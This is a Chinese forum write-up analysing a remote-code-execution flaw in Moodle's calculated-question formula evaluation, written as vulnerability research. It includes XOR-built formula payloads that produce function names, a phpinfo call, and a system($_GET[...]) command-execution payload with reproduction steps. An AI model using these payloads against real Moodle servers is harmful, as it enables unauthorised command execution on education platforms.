问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
巧用异或绕过限制导致rce
漏洞分析
某课程系统后台RCE
巧用异或绕过限制导致rce ============= 0x00 系统介绍 --------- Moodle([moodle.org](http://moodle.org/))是一个开源的在线教育系统(慕课)。采用PHP+Mysql开发,界面友好,符合SCORM/AICC标准。以功能强大、而界面简单、精巧而著称。它是eLearning技术先驱,是先进在线教学理念和实践的集大成者,已成为全球大中学院校建立开放式课程系统的首选软件。主要模块:课程管理、作业模块、聊天模块、投票模块、论坛模块、测验模块、资源模块、问卷调查模块、互动评价(workshop)。Moodle具有先进的教学理念,创设的虚拟学习环境中有三个维度:技术管理维度、学习任务维度和社会交往维度,以社会建构主义教学法为其设计的理论基础,它提倡师生或学生彼此间共同思考,合作解决问题。 0x01 漏洞分析 --------- 当教师出题目是计算题,可以包含*变量*(Moodle 称之为“通配符”),用花括号表示(例如`{a}`),可以将其分配给数字区间。每次生成问题时,变量都会被替换为定义数字范围内的不同值。  该系统会检测公式合规性,当公式符合要求后传递给`eval()`进行执行。如果可以绕过对公式的检测,就可以执行任意方法执行命令。下面分析一下相关操作代码 ```php public function calculate($expression) { // Make sure no malicious code is present in the expression. Refer MDL-46148 for details. if ($error = qtype_calculated_find_formula_errors($expression)) { throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $error); } $expression = $this->substitute_values_for_eval($expression); if ($datasets = question_bank::get_qtype('calculated')->find_dataset_names($expression)) { // Some placeholders were not substituted. throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', '{' . reset($datasets) . '}'); } return $this->calculate_raw($expression); } protected function calculate_raw($expression) { try { // In older PHP versions this this is a way to validate code passed to eval. // The trick came from http://php.net/manual/en/function.eval.php. if (@eval('return true; $result = ' . $expression . ';')) { return eval('return ' . $expression . ';'); } } catch (Throwable $e) { // PHP7 and later now throws ParseException and friends from eval(), // which is much better. } // In either case of an invalid $expression, we end here. throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $expression); } ``` 可以看到`calculate_raw`方法中对公示进行了直接执行,而在调用其的`calculate`方法中存在`qtype_calculated_find_formula_errors`方法用来检测公式的合法性。我们来看看是怎么进行检验的 ```php function qtype_calculated_find_formula_errors($formula) { foreach (['//', '/*', '#', '<?', '?>'] as $commentstart) { if (strpos($formula, $commentstart) !== false) { return get_string('illegalformulasyntax', 'qtype_calculated', $commentstart); } } // Validates the formula submitted from the question edit page. // Returns false if everything is alright // otherwise it constructs an error message. // Strip away dataset names. Use 1.0 to catch illegal concatenation like {a}{b}. $formula = preg_replace(qtype_calculated::PLACEHODLER_REGEX, '1.0', $formula); // Strip away empty space and lowercase it. $formula = strtolower(str_replace(' ', '', $formula)); ``` 1. foreach是用来检测公式中是否有php标签,如果存在就报错 2. 将公式中变量,如{a}替换为1.0,该正则是匹配{}括号中必须以字母开头,同时并不能存在`>} <{"'`字符串 3. 将公式转换为小写并删除空格 ```php $safeoperatorchar = '-+/*%>:^\~<?=&|!'; /* */ $operatorornumber = "[{$safeoperatorchar}.0-9eE]"; while (preg_match("~(^|[{$safeoperatorchar},(])([a-z0-9_]*)" . "\\(({$operatorornumber}+(,{$operatorornumber}+((,{$operatorornumber}+)+)?)?)?\\)~",$formula, $regs)) { switch ($regs[2]) { // Simple parenthesis. case '': if ((isset($regs[4]) && $regs[4]) || strlen($regs[3]) == 0) { return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]); } break; // Zero argument functions. case 'pi': if (array_key_exists(3, $regs)) { return get_string('functiontakesnoargs', 'qtype_calculated', $regs[2]); } break; // Single argument functions (the most common case). case 'abs': case 'acos': case 'acosh': case 'asin': case 'asinh': case 'atan': case 'atanh': case 'bindec': case 'ceil': case 'cos': case 'cosh': case 'decbin': case 'decoct': case 'deg2rad': case 'exp': case 'expm1': case 'floor': case 'is_finite': case 'is_infinite': case 'is_nan': case 'log10': case 'log1p': case 'octdec': case 'rad2deg': case 'sin': case 'sinh': case 'sqrt': case 'tan': case 'tanh': if (!empty($regs[4]) || empty($regs[3])) { return get_string('functiontakesonearg', 'qtype_calculated', $regs[2]); } break; // Functions that take one or two arguments. case 'log': case 'round': if (!empty($regs[5]) || empty($regs[3])) { return get_string('functiontakesoneortwoargs', 'qtype_calculated', $regs[2]); } break; // Functions that must have two arguments. case 'atan2': case 'fmod': case 'pow': if (!empty($regs[5]) || empty($regs[4])) { return get_string('functiontakestwoargs', 'qtype_calculated', $regs[2]); } break; // Functions that take two or more arguments. case 'min': case 'max': if (empty($regs[4])) { return get_string('functiontakesatleasttwo', 'qtype_calculated', $regs[2]); } break; default: return get_string('unsupportedformulafunction', 'qtype_calculated', $regs[2]); } // Exchange the function call with '1.0' and then check for // another function call... if ($regs[1]) { // The function call is proceeded by an operator. $formula = str_replace($regs[0], $regs[1] . '1.0', $formula); } else { // The function call starts the formula. $formula = preg_replace('~^' . preg_quote($regs[2], '~') . '\([^)]*\)~', '1.0', $formula); } } ``` 接下来就是定义了白名单安全运算符字符`-+/*%>:^\~<?=&|!`,以及运算符加数字和科学计数法的e字母 随后进入while循环判断正则`preg_match("~(^|[{$safeoperatorchar},(])([a-z0-9_]*)" ."\\(({$operatorornumber}+(,{$operatorornumber}+((,{$operatorornumber}+)+)?)?)?\\)~",$formula, $regs)`匹配公式的结果 ```php 这个正则表达式用于匹配一个包含标识符和参数的函数调用格式。具体来说,它匹配以下内容: 1.开头部分: ^ 或者一个运算符或括号:[-+/*%>:^\~<?=&|!,(]。 2. 标识符部分: 紧接着是由小写字母、数字或下划线组成的字符串 [a-z0-9_]*。 3. 函数调用括号: 然后是一个开括号 (。 4.函数参数部分: 括号内可以包含一个或多个符合 [-+/*%>:^\~<?=&|!.0-9eE] 的项,这些项之间用逗号分隔,并且可以有多层嵌套。 总结来说,这个正则表达式匹配的是像 func(a, 1.5, +2) 这样的函数调用,其中 func 是一个标识符,括号内包含由运算符和数字组成的参数。 ``` 该表达式主要是匹配公式中的方法名加参数,并将结果存入$regs数组中,如 ```php $formula="func(1)" $regs=Array ( [0] => func(1) [1] => [2] => func [3] => 1 ) $formula="*func(1,2)" $regs=Array ( [0] => func(1,2) [1] => * [2] => func [3] => 1,2 [4] => ,2 ) ``` 可以看到 - $regs\[0\]:匹配到整个函数调用,如果前面有运算符或者括号也会被匹配到 - $regs\[1\]:方法名前的运算符或者括号 - $regs\[2\]:方法名 - $regs\[3\]...:函数参数部分 回到代码逻辑,while循环中判断公式中的函数名,当不在规定的函数名中会报错返回。 如果函数调用正确,即函数名和参数数量符合要求,会来到下面的逻辑 ```php if ($regs[1]) { // The function call is proceeded by an operator. $formula = str_replace($regs[0], $regs[1] . '1.0', $formula); } else { // The function call starts the formula. $formula = preg_replace('~^' . preg_quote($regs[2], '~') . '\([^)]*\)~', '1.0',$formula); } ``` 这里主要是把函数调用替换为`"1.0"`,即`(cos(1))`会被替换为`(1.0)`。 最后while循环结束后还会进行判断 ```php if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) { return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]); } else { // Formula just might be valid. return false; } ``` 如果最终的公式中存在除了正确运算符或者数字或者eE外其他字符时也会报错,不存在会被鉴定为正确的公式。 0x02 绕过分析 --------- 通过上面对公式的正则分析,我们发现直接调用system等方法是不行的。 ```php $safeoperatorchar = '-+/*%>:^\~<?=&|!'; ``` 这是我们想到了无字母rce的思路,但是常见的`$`和`[`(方括号)符号应为不在运算字符里也是不能用的,只能使用`^`异或符。 而在白名单函数中`acos`函数,是返回一个数的反余弦,如果 `x` 不在 \[-1, 1\] 范围内,函数将返回 NaN,并设置适当的数学错误(例如 `EDOM`)。即`acos(2):"NAN"`。 这意味着像“ `acos(2) . acos(2)`”这样的表达式会生成*字符串*“ `NANNAN`”。但是,无法立即连接两个 `acos`调用,因为验证逻辑不允许在调用之间没有实际“运算符”的情况下进行第二次调用。幸运的是,我们很快发现可以使用`acos(2) . 0+acos(2)` 来绕过,因此我们最终可以生成`NANNAN`。 比如: ```php (acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1) ==> NAN1 ^ 000 ^ 111 按位XOR==> "N":0100 1110 "0":0011 0000 -------------- "~":0111 1110 "1":0011 0001 -------------- "O":0100 1111 ``` 我们可以通过这种方式获取想要的字符串,要想获取所有字母字符还得利用复数 ```php A: 0100 0001 -: 0010 1101 8: 0011 1000 ------------ T: 0101 0100 ``` 这里有自动生成任意字符串的[脚本](https://github.com/RedTeamPentesting/moodle-rce-calculatedquestions/blob/main/xor-generator/xor-generator.py)。 比如 ```php (acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0) ==> "PRINF" ``` 在php中有个特性:可变函数 > PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。 即`"prinf"()` 等价于`prinf()`,所以我们似乎可以根据异或的方式获得任意函数名字符串+()来进行调用。 但是根据我们上面的分析只能以运算符+括号的方法拼接编写公式而不能直接以`(xxx)()`的形式。 ```php (acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)[任意运算符]() right (acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)() error ``` 如果不能跟括号,我们就不能异或出函数名进行调用,继续看代码,通过公式规范性检测后,会调用以下方法 ```php /** * Substitute variable placehodlers like {a} with their value wrapped in (). * @param string $expression the expression. A PHP expression with placeholders * like {a} for where the variables need to go. * @return string the expression with each placeholder replaced by the * corresponding value. */ protected function substitute_values_for_eval($expression) { return str_replace($this->search, $this->safevalue, $expression); } ``` 其是在设置变量取值返回时把`{a}`替换为`(a)`,此时a=取值范围的随机值。 ```php (acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0){a} ==> "prinf"{a} ===> "prinf"(a) ==> prinf(1) ``` 而`phpinfo`方法可以传入数字的  所以我们可以构造`"phpinfo"`的异或公式,其为 ```php ((acos(2) . 0+acos(2) . 0+acos(2)) ^ (2 . 1 . 1 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . 0 . 0 . 0) ^ (0 . 0 . -4 . 8 . 8 . 1) ^ (-8 . 2 . 3 . 7 . 0 . 0)) ``` 创建计算题公式,并在最后并上通配符{a}来构造()  规定取值范围,让系统只取1作为()括号中的值  添加取值范围后,保存预览该问题  成功执行`phpinfo(1)`方法。 但是。。。 虽然系统帮我们替换出了想要的括号,但是限制了我们只能调用参数为一个数字的函数。我们想要调用命令执行函数时必须得需要传入字符串,似乎又走进了死胡同。 0x03 再绕过 -------- 又回到系统正则校验逻辑: ```php // Strip away dataset names. Use 1.0 to catch illegal concatenation like {a}{b}. $formula = preg_replace(qtype_calculated::PLACEHODLER_REGEX, '1.0', $formula); ``` `{}括号`里的会被直接替换为1.0,`()括号`里会被正则递归校验最终处理成不带`()括号`通过。既然无法利用`()括号`执行我们想要的函数,那我们可以研究一下在`{}括号`能不能做做文章。 除了找的`{}括号`里可执行任意函数的方法外还得注意如何绕过`substitute_values_for_eval`方法,防止被替换。 ```php /** * Substitute variable placehodlers like {a} with their value wrapped in (). * @param string $expression the expression. A PHP expression with placeholders * like {a} for where the variables need to go. * @return string the expression with each placeholder replaced by the * corresponding value. */ protected function substitute_values_for_eval($expression) { return str_replace($this->search, $this->safevalue, $expression); } ``` 在php中又有一特性:可变变量  我们可以用`->{..}`来访问类成员变量,而`->{..}`允许你使用任何*表达式*作为属性名称。例如:  且`->`在运算字符里,我们可构造 ```php (1)->{system($_GET[chr(97)])} ``` 在替换{..}=>1.0的正则中不能存在单双引号,所以用`[chr(97)]`进入绕过,表示http请求中的a参数进行传参,来执行任意命令。 那如何防止公式中的变量`{..}`被数据集替换呢?其实很简单,只需前端界面将数据集`<select>`下拉框元素中的`value`改为空即可。 0x04 漏洞复现 --------- 首先在题库中创建题目,并将公式改成payload  点击保存,在配置变量数据集选项将value置空。  点击下一页时抓包,添加参数a=ipconfig成功执行命令 
发表于 2025-02-14 10:00:02
阅读 ( 3563 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
77 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!